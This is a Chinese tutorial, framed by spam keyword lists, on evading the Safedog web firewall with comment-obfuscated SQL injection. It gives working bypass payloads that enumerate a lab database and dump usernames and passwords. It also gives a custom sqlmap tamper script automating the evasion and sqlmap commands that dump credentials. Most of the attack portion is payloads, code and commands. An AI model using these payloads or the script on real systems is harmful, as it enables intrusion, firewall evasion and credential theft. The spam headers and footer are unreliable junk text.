亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

教你編寫SQLMap的Tamper腳本過狗

瀏覽:24日期:2023-03-06 14:25:43
目錄
  • 測試環境
  • 最新版某狗
  • 測試方法
  • bypass
    • and
    • order by
    • union select
    • 加個換行試試
    • 獲取表字段
    • 編寫tamper

測試環境

最新版某狗

測試方法

安全狗其實是比較好繞的WAF,繞過方法很多,但這里我們就用一種:注釋混淆

一招鮮吃遍天

注釋混淆,其實就是在敏感位置添加垃圾字符注釋,常用的垃圾字符有/、!、*、%

這里再解釋一下內聯注釋,因為后面要用到:

MySQL內聯注釋: /*!xxxxxxx*/ !后面的語句會當作SQL語句直接執行

但是如果!后面跟著MySQL版本號,那么就會出現兩種情況

!后面接的數據庫版本號小于自身版本號,就會將注釋中的內容執行當!后面接的數據庫版本號大于等于自身版本號,就會當做注釋來處理。

幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

數據庫版本號以五位數字表示,比如當前環境下數據庫版本號表示為:50553

!后面接小于50553的:

執行了select 1;

!后面接大于等于50553的:

執行了 select ;

下面進入正題

bypass

and

and 1=1

但是把空格刪掉就不攔了

所以,我們認為,and后面不能直接跟空格…

那么如果用其他形式表示空格呢?

前面說了,我們這次只使用注釋混淆:

burp,抓包設置

長度5335是被攔截的

長度為899的說明成功繞過

我們選擇其中一個作為空格的替代者就好了,這里我們選擇/*%*

即: ->/*/*%**/

同理 ,or是一樣的:

order by

測試發現還是只要替換order by中間的空格就可以了,所以繞過方法和前面一樣:

union select

union select使用之前的垃圾字符替換空格發現不行了:

但是先不急于換方法,再爆破一遍試試:

發現又有很多可以繞過的了。

所以我們再更改一下替換空格的垃圾字符, 這里選/*/!%!/*/

即: ->/*/!%!/*/

獲得當前數據庫

正常語句:

?id=-1 union select 1,database(),3 --+

繞過:

即:()->(/*/!%!/*/)

獲取數據庫中的表

正常語句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

繞過:

經過測試發現攔截的是select + from + information_schema的組合

中間加垃圾字符替換空格已經不管用了,我們嘗試對關鍵字進行混淆。

information_schema進行混淆測試:

首先使用內聯注釋,發現,這里的版本號不管寫啥,都直接被攔。

考慮是檢測了select + from + /*! + information_schema的組合

加個換行試試

還是不行…

那既然都換行了,那我們再在換行前加一些垃圾字符:

如果我們直接插入垃圾字符,會當作SQL語句執行,所以前面還需要在垃圾字符前加個注釋,可以是 /**/#--+

但是經過測試只有 --+好用

有這么多可以繞過的,我們隨便選擇一個,比如/*%/

這樣,最終語句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

獲取表字段

正常語句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

繞過語句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

獲取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

成功。

編寫tamper

當我們下載了SQLMap,解壓后,我們可以找到文件夾【tamper】,該文件夾有很多個Tamper腳本幫助我們繞過一些安全防護:

網上有很多相關腳本的介紹,我就不一一介紹了。

雖然SQLMap提供了這么多的Tamper腳本,但是在實際使用的過程中,網站的安全防護并沒有那么簡單,可能過濾了許多敏感的字符以及相關的函數。這個時候就需要我們針對目標的防護體系構建相應的Tamper腳本。

Tamper相當于一個加工車間,它會把我們的Payload進行加工之后發往目標網站。

我們隨便打開一個Tamper腳本看一下它的結構:

#apostrophemask.py#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file "LICENSE" for copying permission"""# 導入SQLMap中lib\core\enums中的PRIORITY優先級函數from lib.core.enums import PRIORITY# 定義腳本優先級__priority__ = PRIORITY.LOWEST# 對當前腳本的介紹def dependencies():    pass"""對傳進來的payload進行修改并返回函數有兩個參數。主要更改的是payload參數,kwargs參數用得不多。"""def tamper(payload, **kwargs):    """    Replaces apostrophe character (") with its UTF-8 full width counterpart (e.g. " -> %EF%BC%87)    References:* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps    >>> tamper("1 AND "1"="1")    "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"    """    return payload.replace("\"", "%EF%BC%87") if payload else payload

可見Tamper腳本的結構非常簡單,其實滲透測試中的主要難點還是如何去繞過WAF。

下面我們針對bypass部分的繞過方法進行編寫Tamper腳本,來實現自動化SQL注入:

實際測試的時候發現,sqlmap默認語句中的AS關鍵字也會被攔截,這里也用同樣的方法替換一下就好

#!/usr/bin/env pythonimport refrom lib.core.settings import UNICODE_ENCODINGfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():    passdef tamper(payload, **kwargs):    if payload:payload = payload.replace(" ","/*/!%!/*/")payload = payload.replace("()","(/*/!%!/*/)")payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)payload = re.sub(r"(?i)(/AS/)",r"http://*!00000--%20/*%/%0aAS*//",payload)    return payload

測試:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

到此這篇關于教你編寫SQLMap的Tamper腳本過狗的文章就介紹到這了,更多相關SQLMap的Tamper腳本內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: MsSQL
主站蜘蛛池模板: 黄网址在线永久免费观看 | 欧美禁片在线观看免费 | 国产日产欧产精品精品推荐在线 | 亚洲人在线观看 | 国产一区三区二区中文在线 | 极品精品国产超清自在线观看 | 91一区二区午夜免费福利网站 | 久久国产a| 国产亚洲精品不卡在线 | sese在线播放| 365深夜福利在线观看 | 久久99国产精品久久99果冻传媒 | 亚洲成在人线影视天堂网 | 邪恶亚洲 | 久久夜色精品国产飘飘 | 精品视频久久 | 日本欧美久久久久免费播放网 | 国产成人亚洲精品老王 | 婷婷色婷婷 | japanese色国产在线看视频 | 成人黄18免费视频 | 黄色网在线免费观看 | 在线观看免费精品国产 | 国产久 | 中国一级特黄aa毛片大片 | 在线观看网 | 黄色大片免费看 | 欧美伦理三级在线播放影院 | 麻豆亚洲精品一区二区 | 18在线网站 | 国产一区系列在线观看 | 中国黄色一级 | 一级毛片a | xzl仙踪林一区 | 色爱区综合激月婷婷激情五月 | 91自产国偷拍在线 | 亚洲精品一区二区三区不卡 | 久久综合九色综合欧洲 | 国产图片区| 一区二区三区视频网站 | 国产福利在线观看精品 |